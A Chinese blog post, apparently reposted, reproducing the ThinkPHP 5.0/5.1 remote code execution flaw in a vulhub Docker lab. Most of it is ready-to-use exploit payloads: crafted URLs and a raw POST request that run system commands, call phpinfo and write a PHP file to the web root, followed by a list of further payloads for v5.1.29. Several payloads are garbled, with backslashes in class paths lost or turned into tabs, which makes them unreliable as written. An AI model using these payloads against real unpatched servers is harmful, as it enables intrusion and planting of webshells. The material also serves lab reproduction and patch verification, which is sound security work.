zoukankan      html  css  js  c++  java
  • ThinkPHP5.x 任意代码执行漏洞复现

    0x00 概述

    这个漏洞是Thinkphp官方在2018年底发布的一个安全更新中修复的一个重大漏洞,是由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本。

    0x01 影响版本

    5.x <= 5.1.30
    5.x <= 5.0.23

    0x02 环境搭建

    使用vulhub环境进行搭建 

    git clone https://github.com/vulhub/vulhub.git
    cd vulhub/thinkphp/5-rce/
    docker-compose up -d

    搭建完成后访问http://ip:8080

    环境搭建成功

    0x03 漏洞复现

    环境1:thinkphp v5.0.20

    1.远程命令执行

    poc:

    http://192.168.217.131:8080/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

    2.远程代码执行

    poc:

    http://192.168.217.131:8080/index.php?s=/Index/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

    3.写shell

    poc:

    http://192.168.217.131:8080/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php phpinfo();?>" >>1.php

    执行之后会在根目录下写入1.php ,内容是输出phpinfo();

    环境2:thinkphp v5.0.23

    远程命令执行

    poc:

    POST /index.php?s=captcha HTTP/1.1
    Host: yuorip
    Accept-Encoding: gzip, deflate
    Accept: */* Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 72
    
    
    _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

    其他poc记录:

    v5.1.29:
    1.代码执行
    ?s=index/	hinkRequest/input&filter=phpinfo&data=1
    ?s=index/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
    ?s=index/	hinkContainer/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
    
    2.命令执行
    ?s=index/	hinkRequest/input&filter=system&data=操作系统命令
    ?s=index/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令
    ?s=index/	hinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令
    
    3.文件写入
    ?s=index/	hink	emplatedriverfile/write&cacheFile=shell.php&content=<?php phpinfo();>
    ?s=index/	hinkviewdriverPhp/display&content=<?php phpinfo();?>
  • 相关阅读:
    世界人工智能大会记录
    [AI开发]将深度学习技术应用到实际项目
    [AI开发]centOS7.5上基于keras/tensorflow深度学习环境搭建
    [AI开发]视频多目标跟踪高级版(离自动驾驶又‘近’了一点点)
    [AI开发]基于深度学习的视频多目标跟踪实现
    [AI开发]Python+Tensorflow打造自己的计算机视觉API服务
    自己实现斗地主引擎
    Pycharm 2017.1 激活服务器
    adb无线网络调试
    adb devices连接提示 Android offline或unauthorized的解决办法
  • 原文地址:https://www.cnblogs.com/Cl0wn/p/13258523.html
Copyright © 2011-2022 走看看